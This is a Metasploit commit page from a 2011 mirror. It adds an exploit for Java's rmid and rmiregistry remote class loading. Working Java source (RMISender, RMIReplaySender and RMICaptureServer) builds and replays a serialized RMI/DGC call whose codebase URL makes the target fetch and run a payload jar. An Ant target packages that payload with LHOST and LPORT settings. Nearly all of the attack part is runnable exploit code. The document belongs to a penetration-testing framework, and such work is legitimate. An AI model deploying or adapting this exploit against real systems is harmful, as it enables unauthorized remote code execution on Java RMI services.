1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-20 14:39:22 +01:00

add an exploit for java's rmid and rmiregistry code-execution-by-design and supporting source. fixes #4378, thanks mihi!

git-svn-id: file:///home/svn/framework3/trunk@13185 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
James Lee 2011-07-15 20:42:31 +00:00
parent 4b6920a125
commit 532467706d
4 changed files with 168 additions and 2 deletions

View File

@ -65,13 +65,44 @@
</jar>
<delete file="build/metasploit.dat"/>
</target>
<target name="buildrmi" depends="compile">
<!-- build dummy jar used for capturing communication and for testing -->
<propertyfile file="build/metasploit.dat">
<entry key="LPORT" value="4444" />
<entry key="LHOST" value="127.0.0.1" />
</propertyfile>
<jar destfile="rmidummy.jar">
<manifest>
<attribute name="Main-Class" value="metasploit.Payload"/>
</manifest>
<fileset dir="build">
<include name="metasploit/RMILoader.class"/>
<include name="metasploit/RMIPayload.class"/>
<include name="metasploit/Payload.class"/>
<include name="metasploit.dat"/>
</fileset>
</jar>
<!-- rename local metasploit/RMILoader.class to ensure a classloader URL will be serialized -->
<move file="build/metasploit/RMILoader.class" tofile="build/metasploit/RMILoader.class.tmp" />
<!-- run the capture server -->
<java classpath="build" classname="rmi.RMICaptureServer" />
<!-- rename back -->
<move file="build/metasploit/RMILoader.class.tmp" tofile="build/metasploit/RMILoader.class" />
</target>
<target name="deploy" depends="compile">
<target name="deploy" depends="compile,buildrmi">
<copy todir="../../../data/java">
<fileset dir="build">
<exclude name="javapayload/stage/JSh*.class" />
<exclude name="javapayload/stage/SendParameters.class" />
<exclude name="javapayload/stage/SystemInfo.class" />
<exclude name="javapayload/stage/SystemInfo.class" />
<exclude name="metasploit/PayloadApplet.class" />
<exclude name="rmi/**" />
<exclude name="metasploit.dat" />
</fileset>
</copy>
</target>

View File

@ -0,0 +1,62 @@
package rmi;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InterruptedIOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.rmi.UnmarshalException;
public class RMICaptureServer {
// http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
public static void main(String[] args) throws Exception {
FileOutputStream fos = new FileOutputStream("build/rmipacket");
ServerSocket ss = new ServerSocket(11099);
Thread t = new Thread(new Runnable() {
public void run() {
try {
RMISender.main(new String[] {"file:./rmidummy.jar", "localhost", "11099"});
} catch (UnmarshalException ex) {
// expected
} catch (Exception ex) {
ex.printStackTrace();
}
}
});
t.setDaemon(true);
t.start();
Socket s = ss.accept();
ss.close();
DataInputStream in = new DataInputStream(s.getInputStream());
DataOutputStream out = new DataOutputStream(s.getOutputStream());
byte[] hdr = new byte[7];
in.readFully(hdr);
if (!new String(hdr, "ISO-8859-1").equals("JRMI\0\2K"))
throw new IOException("Unsupported RMI header");
out.write('N');
out.writeUTF("127.0.0.1");
out.writeInt(11099);
out.flush();
in.readUTF();
in.readInt();
s.setSoTimeout(1000);
try {
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
fos.write(buf, 0, len);
}
} catch (InterruptedIOException ex) {
// we are done
}
fos.close();
}
}

View File

@ -0,0 +1,37 @@
package rmi;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.OutputStream;
import java.net.Socket;
public class RMIReplaySender {
// http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
public static void main(String[] args) throws Exception {
File rmipacket = new File("build/rmipacket");
System.out.println(rmipacket.length());
DataInputStream in = new DataInputStream(new FileInputStream(rmipacket));
byte[] packetBytes = new byte[(int)rmipacket.length()];
in.readFully(packetBytes);
in.close();
String url = args[0];
String dummyURL = "file:./rmidummy.jar";
String packetStr = new String(packetBytes, "ISO-8859-1");
int pos = packetStr.indexOf((char)0+""+(char)dummyURL.length() + dummyURL);
packetStr = packetStr.substring(0, pos+1) + (char)url.length() + url + packetStr.substring(pos + 2 + dummyURL.length());
packetBytes = packetStr.getBytes("ISO-8859-1");
Socket s = new Socket(args[1],Integer.parseInt(args[2]));
OutputStream out = s.getOutputStream();
out.write("JRMI\0\2K\0\0\0\0\0\0".getBytes("ISO-8859-1"));
out.write(packetBytes);
out.flush();
Thread.sleep(500);
s.close();
}
}

View File

@ -0,0 +1,36 @@
package rmi;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.server.ObjID;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import sun.rmi.server.UnicastRef2;
import sun.rmi.transport.DGCImpl_Stub;
import sun.rmi.transport.Endpoint;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
public class RMISender {
public static void main(String[] args) throws Exception {
Endpoint endpoint = new TCPEndpoint(args[1], Integer.parseInt(args[2]));
URLClassLoader ucl = new URLClassLoader(new URL[] {new URL(args[0])});
Object loader = ucl.loadClass("metasploit.RMILoader").newInstance();
UnicastRef2 ref = new UnicastRef2(new LiveRef(new ObjID(ObjID.DGC_ID), endpoint, false));
DGCImpl_Stub stub = new DGCImpl_Stub(ref);
Field f = stub.getClass().getDeclaredField("operations");;
f.setAccessible(true);
RemoteCall remotecall = ref.newCall(stub, (Operation[])f.get(stub), 0, 0xf6b6898d8bf28643L);
ObjectOutput objectoutput = remotecall.getOutputStream();
objectoutput.writeObject(new ObjID[0]);
objectoutput.writeLong(0);
objectoutput.writeObject(loader);
objectoutput.writeBoolean(false);
ref.invoke(remotecall);
ref.done(remotecall);
}
}